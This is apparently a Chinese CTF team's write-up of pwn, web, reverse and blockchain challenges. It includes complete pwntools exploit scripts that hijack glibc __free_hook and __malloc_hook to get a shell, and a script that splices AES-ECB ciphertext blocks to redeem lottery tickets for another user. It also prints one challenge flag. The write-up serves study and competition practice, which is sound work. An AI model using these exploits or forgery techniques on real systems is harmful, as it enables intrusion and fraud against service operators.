这次比赛是和V&N的大师傅们一起打的,我也学到了好多,比赛期间 + 赛后复现的题目我都会放在这篇文章中。
V&N最后拿了比赛的第六名!! V&N太强啦!!冲冲冲
PWN
babyheap
题目亮点
新版本的glibc 2.27-3ubuntu1.4,保护机制类似于2.29,存在对tcache doube free的检测。
题目代码
主函数
add函数
其中对申请的size做了限制,只能申请在fastbin范围内的size,且要小于0x60。
delete函数
释放之后不能清空指针内容,可以造成double free,也可以配合edit造成UAF。
edit函数
由于free的时候没有清空指针的内容,所以可以造成UAF,但是在写入的时候从第八字节开始写入,以至于无法写入next指针内容,但是可以修改key字段的内容,也就是可以绕过tcache double free的检测。
show函数
可以用于leak
leaveYouName函数
申请了一个0x400 size的chunk,这是在largebin 范围内的size,会触发malloc_consolidate,让fastbin中的内容先进入到unsorted bin中,然后发现申请size不符合,所以又会进入small bin
位置看链接:https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3711
题目分析
leak libc
通过malloc_consolidate函数就可以在栈上留一个在main_arena中的指针(在glibc中)。
由于存在show函数,我们直接leak libc。
接下来的操作可以分为两种方法来操作,其中方法二是我比赛的时候想到的方法
方法一(简单明了的方法)
chunk overlapping
由于我们可以让chunk存在于unsorted bin,我们从中分割出一块数据来造成overlapping,虽然我们控制不了前八个字节,但是我们可以利用overlapping来间接控制。
如下表所示:
name | size |
---|
chunk a | 0x21 |
chunk b | 0x21 |
chunk c | 0x21 |
例如如上的三块堆块,我们可以直接malloc一个0x41 size的chunk,就可以直接控制到chunk b的全部内容。
hijack __free_hook
由于不能申请size为0x7x的,所以我们没有简单的方法来绕过fastbin 的 size 检测。
但是我们可以利用free没有清空指针的漏洞,在fastbin和tcache中同时存放一个chunk(这个步骤的方法很多,比如可以让counts = 2的tcache指针连续申请三次,让counts = -1,这样就可以让接下来的chunk进入到fastbin中,或者直接free七次都是可以的)。
再通过overlapping来修改到tcahce的next指针,使其指向__free_hook来进一步攻击
方法二(复杂,不推荐)
比赛的时候不知道咋的,所以没想到方法一,用的是另外一种更为复杂的方法,我暂且把他叫做hijack malloc_arena by tcache。实际意义不大,利用过程还有待开发。
利用要求
1.开启tcache机制
2.在有tcahe的key保护的glibc版本下,需要泄露heap_base,如果有leak函数可以通过main_arena->top计算得出
3.tcache的next为main_arena上的一个地址,比如通过doube free,让tcache的next进入到smallbin中。
利用目的
1.可以用来修改main_arena->top
2.house of froce
3.chunk overlapping(可以控制到整个结构)
利用来源
通过leak libc之后,由于tcache堆块也同样进入了smallbin,所以我们tcache的堆块的next就是main_arena上的一个偏移,如下所示:
这个指针指向的small bin的位置,正好是呈现一个不断向上指向的一条链
我们可以使用telescope命令来观察一下这个链表:
可以发现这个链表长度很长一次命令也没有显示完全,所以我们使用了多行代码来操作。
利用分析
通过这个链表,我们可以不断的申请,我们可以申请到很多关键的位置,我们一一来分析。
1.最后的位置0x564f83cd9740
这个位置所指向的正是top chunk的位置,但是由于新版本的各种检测,使得house of force不再那么容易的构造,且这题对申请size有所限制,所以我们这道题不考虑这个方法。
2.倒数第二个位置(main_arena->top)
而这个指针就是储存在main_arena上的top,他指向top chunk的内容,要是在其他题目中,如果我们可以修改这个位置,并且让指针指向**__free_hook - 0xb58**的位置(因为这个位置有个大数字,可以满足top chunk的size),之后通过不断申请,就能够申请到__free_hook的位置。
但是由于这道题无法对前八个字节进行写入,所以这种方法对于这题无效
3.倒数第三个位置,bin[0]
这个位置实际上存放的是unsorted bin的头部指针,但是这里由于unsorted bin没有内容,所以指向了main_arena->top。
但是对于这道题,如果我们要修改的话,只可以修改bin[1]的内容,又由于新版本的各种检测,从而无法利用。
不过我们可以考虑到,如果我们可以让unsortedbin中有一些内容的话,也就是让bin[0]的内容不指向main_arena->top,而是指向unsorted bin堆块的地址的话,那么我们就可以通过此来申请到unsorted bin上的堆块,让这个堆块在unsorted bin和tcache上同时存在。
如下图就是申请到了unsorted bin上堆块的内容,但是由于key的存在,所以size位被清空为0了,所以我们需要修复size位的内容。
修复后再次申请size对应的堆块大小,就可以从unsorted bin中再次申请到这一块可控的堆块了,申请到后再次free,让他进入到tcache链中(所以要求这个size与之前不一致,否则会进入到fastbin中,利用范围就很小了)。
而且我们通过main_arena链表申请到的这个堆块位置是从堆块的结构体开始,也就是就我们只要修改0x10偏移的位置,也就是相当于修改到了tcache 的 next 指针,我们把他修改成__free_hook就可以实现利用
最后还要考虑到main_arena的结构被破坏的问题
代码来源:https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#2952
1
2
3
4
5
6
7
8
9
10
11
12
13
| /* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->counts[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}
|
由于在新版本的glibc中多了key这个设定,所以加申请到堆块后,这个位置的内容会先被清为0。main_arena上的内容就会被破坏成如下情况,如果使用到,我们之后需要这部分main_arena所管理的堆块,那么要先恢复对应的内容。具体要恢复哪个位置,可以根据调试来判断。
在修复的过程中需要修复bin[1]所指向的unsorted bin指针,而要计算出这个指针需要heap_base和libc_base。不过在我们有tcache的情况下,想要泄露出heap_base是比较容易的;有show函数的话,main_arena上就有大量的地址可以用于leak libc。
EXP
比赛的时候使用的是方法二,所以也只写了方法二的exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
| from pwn import *
context.log_level = "debug"
#r = process('./pwn1')
r = remote('52.152.231.198', 8081)
def choice(idx):
r.sendlineafter(">> ", str(idx))
def add(idx, size):
choice(1)
r.sendlineafter("index", str(idx))
r.sendlineafter("size", str(size))
def delete(idx):
choice(2)
r.sendlineafter("index", str(idx))
def edit(idx, content):
choice(3)
r.sendlineafter("index", str(idx))
r.sendafter("content", str(content))
def show(idx):
choice(4)
r.sendlineafter("index", str(idx))
def leaveYouName(name):
choice(5)
r.sendlineafter("name:", name)
add(0, 0x58)
add(1, 0x58)
add(2, 0x18) #not consolidate top chunk
#double free
delete(0)
edit(0, p64(0)) #key -> 0
delete(0)
#leak heap_base
show(0)
r.recvuntil('\n')
heap_base = u64(r.recvuntil('\n', drop=True)[-6:].ljust(8, '\x00')) - 0x260
log.success("heap_base: " + hex(heap_base))
#size -> 0xff
add(0, 0x58)
add(0, 0x58)
add(0, 0x58)
#chunk to fastbin
delete(0)
delete(1)
#malloc largebin -> malloc_consolidate -> fastbin chunk to unsortedbin -> unsortedbin to smallbin
leaveYouName("wjh")
#leak libc
show(0)
main_arena = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 272
log.success("main_arena: " + hex(main_arena))
malloc_hook_addr = main_arena - 0x10
log.success("malloc_hook_addr: " + hex(malloc_hook_addr))
libc_base = malloc_hook_addr - 0x3ebc30
log.success("libc_base: " + hex(libc_base))
free_hook_addr = libc_base + 0x3ed8e8
log.success("free_hook_addr: " + hex(free_hook_addr))
system_addr = libc_base + 0x4f550
add(0, 0x48) #smallbin -> unsortedbin
add(0, 0x58) #malloc smallbin data in main_arena
add(0, 0x48)
#malloc to bin[0]
for i in range(0xB):
add(0, 0x58)
#fix data
edit(0, p64(heap_base + 0x2f0) + p64(main_arena + 112) + p64(main_arena + 112))
#malloc to unsorted bin data
add(5, 0x58)
edit(5, p64(0x21)) #fix size
#malloc chunk from unsortedbin
add(6, 0x18)
delete(6) #into tcache
#hijack tcache->next
edit(5, p64(0x21) + p64(free_hook_addr - 0x8))
add(0, 0x18)
add(8, 0x18) #get __free_hook
edit(8, p64(system_addr))
edit(5, p64(0x21) + '/bin/sh\x00')
#getshell
delete(0)
r.interactive()
|
获得flag
baby_game
感谢publicqi和cnitlrt两位师傅对我赛后复现提供的帮助。
盲测可以测出在两次都进入同一张图的情况下,会出现tcahce double free。
通过Message功能可以leak libc。
通过控制c++的string长度来申请到0x61 size的堆块,从而利用tcache doube free来修改next指针到**__malloc_hook**,修改为one_gadget。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| from pwn import *
from LibcSearcher import *
context.log_level = "debug"
libc = ELF('./libc.so.6')
#r = process('./pwn')
r = remote('52.152.231.198', 8082)
def add(data):
r.sendline("q")
r.sendline("y")
r.sendline(data)
r.sendline("y")
r.sendline("1")
r.sendline("1")
r.sendline("q")
r.sendline("n")
r.sendline("y")
#leak libc
r.sendline("l")
malloc_hook_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 96 - 0x10
libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
one = [0x4f365, 0x4f3c2, 0x10a45c]
one_gadget = libc_base + one[1]
log.success("libc_base: " + hex(libc_base))
add('a' * 0x50)
add(p64(malloc_hook_addr) + 'b' * 0x48)
add('c' * 0x50)
add(p64(one_gadget) + 'd' * 0x48)
r.interactive()
|
个人感觉这道题的主要关键就是fuzz,直接分析代码是很难找到漏洞的,毕竟是C++的代码而且没有符号信息。
Web
lottery again
下载源码,并找到以下重点内容:
分析函数可以发现在兑换彩票的时候,会对彩票密文进行解码,通过解码得到的彩票lottery内容从数据库中找到对应数据,取得可兑换的coin数量,并把coin加到解码得到的user账号的硬币中。
分析代码可知,从密文中取得的user账号没有与在数据库中的信息进行验证,故如果我们可以篡改密文中对应的user信息,那么就可以让a用户购买的彩票,给b用户使用,从而让b用户达到白嫖的目的。
那如何来修改密文呢?观察到一下加密代码:
1
| $enc = base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, env('LOTTERY_KEY'), $serilized, MCRYPT_MODE_ECB));
|
发现对彩票数据的加密是通过ECB模式进行加密,并且从加密方式MCRYPT_RIJNDAEL_256,可以得知加密分块是以0x20字节为一段的,而ECB模式可以确保在每一段之间的内容相互独立互不干扰,在这样的前提下,我们可以尝试替换储存在其中的user数据。
以下来逐步分析如何替换全部user-uuid信息
我们已有的密文数据是:
1
2
3
4
| {"lottery":"b52d5239-24a5-4627-b
a46-58a00645c3e4","user":"111111
11-1111-1111-1111-111111111111",
"coin":1}
|
和
1
2
3
4
| {"lottery":"demodemo-demo-demo-d
emo-demodemodemo","user":"222222
22-2222-2222-2222-222222222222",
"coin":1}
|
如下为一个加密数据的明文内容,每一行的长度为0x20(除最后一行外)
1
2
3
4
| {"lottery":"b52d5239-24a5-4627-b
a46-58a00645c3e4","user":"111111
11-1111-1111-1111-111111111111",
"coin":1}
|
我们想要把其替换为
1
2
3
4
| {"lottery":"b52d5239-24a5-4627-b
a46-58a00645c3e4","user":"222222
22-2222-2222-2222-222222222222",
"coin":1}
|
也就是把user信息都从1替换成2
但是我们只可以替换其中的任何一个一行的内容,才不会造成解密错误。
于是我们自然可以考虑替换第三行的内容,其标志着该彩票购买者的部分uuid信息。
但是由于只是部分uuid信息,所以即使替换了也是如下情况:
1
2
3
4
| {"lottery":"b52d5239-24a5-4627-b
a46-58a00645c3e4","user":"111111
22-2222-2222-2222-222222222222",
"coin":1}
|
其user信息中的前六个字节无法被替换,由于六字节内容过长,不适合用爆破的方法来绕过。
但是如果我们考虑要把前六字节的信息也要替换的话,那么必须同时替换那一行的全部内容,也就是就会变成以下情况:
1
2
3
4
| {"lottery":"b52d5239-24a5-4627-b
emo-demodemodemo","user":"222222
22-2222-2222-2222-222222222222",
"coin":1}
|
也就是会造成lottery信息被替换,这会造成该彩票无法从数据库中读取到,直接报错。
最终考虑到以下构造:
1
2
3
4
5
| {"lottery":"b52d5239-24a5-4627-b
a46-58a00645c3e4","user":"111111
emo-demodemodemo","user":"222222
22-2222-2222-2222-222222222222",
"coin":1}
|
由于在php在json_decode的时候,后面的user会覆盖前面的user,也就是正确的user可以覆盖错误的user,成功修改user信息。
其他部分就是,需要注册、登录、购买、彩票、兑换彩票,可以写个脚本使其自动化。
代码中的target为最终要用于购买flag的账号的一个彩票密文数据。
代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
| import requests
import json
import base64
url = "http://52.149.144.45:8080"
req = requests.session()
def getheaders():
return {"Cookie" : "api_token=" + token}
def reg(user, pwd):
text = req.post(url + "/user/register", data={"username": user, "password": pwd}).text
data = json.loads(text)
return data
def login(user, pwd):
text = req.post(url + "/user/login", data={"username": user, "password": pwd}).text
data = json.loads(text)
return data
def buy(token):
text = req.post(url + "/lottery/buy", data={"api_token": token}).text
data = json.loads(text)
return data
def hijack(enc, enc2):
enc = base64.b64decode(enc)
enc2 = base64.b64decode(enc2)
return enc[:0x40] + enc2[0x20:0x60] + enc[0x60:]
def getInfo(enc):
text = req.post(url + "/lottery/info", data={"enc": enc}).text
data = json.loads(text)
return data
def charge(user, coin, enc):
text = req.post(url + "/lottery/charge", data={"user": user, "enc" : enc, "coin" : coin}).text
data = json.loads(text)
return data
target = 'GyXkfQYW9eaX6pLjjXj40HxYWzD7/wbbu6LB8hKIgHzspmlNP0zCwC07w6uK7rCLP2MvVoq8P2oXt+OoD1NY2Ba5J5Hs1AiZkdxBRIrTSq9H8y2BmPiCmO6fH2d9eJW+rk8BfTg14RVjLwF1pW5cSqW2FXVyWb0j5c8edRkKKGE='
uuid = getInfo(target)['info']['user']
for i in range(1000):
reg_data = reg('wjhflag' + str(i), '123456')
login_data = login('wjhflag' + str(i), '123456')
token = login_data['user']['api_token']
for i in range(3):
buy_data = buy(token)
enc = buy_data['enc']
fake_enc = base64.b64encode(hijack(enc, target))
data = charge(uuid, 0, fake_enc)
print(data)
|
Re
stream
图上为主要逻辑,从第4位开始,每次位数+7并生成随机数异或,但随机数种子是根据flag而得到的,而逐位爆破可能存在多解的情况,最后通过dfs对所有情况进行探路,若最后无法得到结果则剪枝。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| import os
import string
with open("./output.bak", 'rb') as f:
cmpbuf = f.read()
flen = len(cmpbuf)
flagchr = string.digits + string.ascii_letters + "{}*"
kflag = ['0' for i in range(0, len(cmpbuf))]
print("".join(kflag))
p = 4
choice = []
for i in range(flen):
choice.append(p)
p = (p + 7) % flen
def getSec(flag):
with open('./flag', 'w') as w:
w.write("".join(flag))
os.system('./a')
with open("./output", 'rb') as f:
buf = f.read()
return buf
def dfs(t):
if t == flen:
print("flag: " + ''.join(kflag))
exit()
pos = choice[t]
for ch in flagchr:
kflag[pos] = ch
buf = getSec(kflag)
if buf[pos] == cmpbuf[pos]:
print(''.join(kflag))
dfs(t + 1)
dfs(0)
|
跑脚本得出flag
*flag: ctf{EbXZCOD56vEHNSofFvRHG7XtgFJXcUXUGnaaaaaa}
BlockChain
StArNDBOX
我一定要学会抄作业!!!